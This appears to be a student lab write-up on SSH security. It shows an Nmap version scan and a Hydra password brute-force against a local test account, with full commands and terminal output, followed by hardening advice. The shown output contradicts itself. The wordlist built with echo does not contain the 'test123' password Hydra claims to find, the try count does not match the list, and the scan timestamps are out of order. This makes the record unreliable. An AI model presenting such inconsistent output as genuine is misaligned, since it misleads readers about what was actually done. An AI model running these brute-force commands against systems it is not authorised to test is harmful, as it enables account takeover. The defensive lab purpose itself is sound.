

Nmap Scan

I used Nmap to scan the target system and identify open ports and services.

The scan detected:

- Port 2222 open
- SSH service running

```
(kali@kali)-[~]
$ nmap -sV -p 2222 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-25 04:53 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).

PORT      STATE SERVICE VERSION
2222/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

(kali@kali)-[~]
$
```

Hydra Brute Force Test

I used Hydra with a small password list to test SSH login security.

Hydra successfully discovered the password:

- Username: testuser
- Password: test123

```
(kali@kali)-[~]
$ echo -e "password\n123456\n123456\n123456\n123456" > passwords.txt

(kali@kali)-[~]
$ hydra -l testuser -P passwords.txt -s 2222 127.0.0.1 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-25 04:51:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l1/p:4), ~1 try per task
[DATA] attacking ssh://127.0.0.1:2222/
[2222][ssh] host: 127.0.0.1 login: testuser password: test123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-25 04:52:02

(kali@kali)-[~]
$
```

Reflection

Weak passwords are dangerous because attackers can easily brute-force them. Unused ports should be closed to reduce security risks.

To improve SSH security:

- use strong passwords
- use SSH keys
- limit login attempts
- use a firewall
- disable unused services

Strong passwords make brute-force attacks significantly more difficult.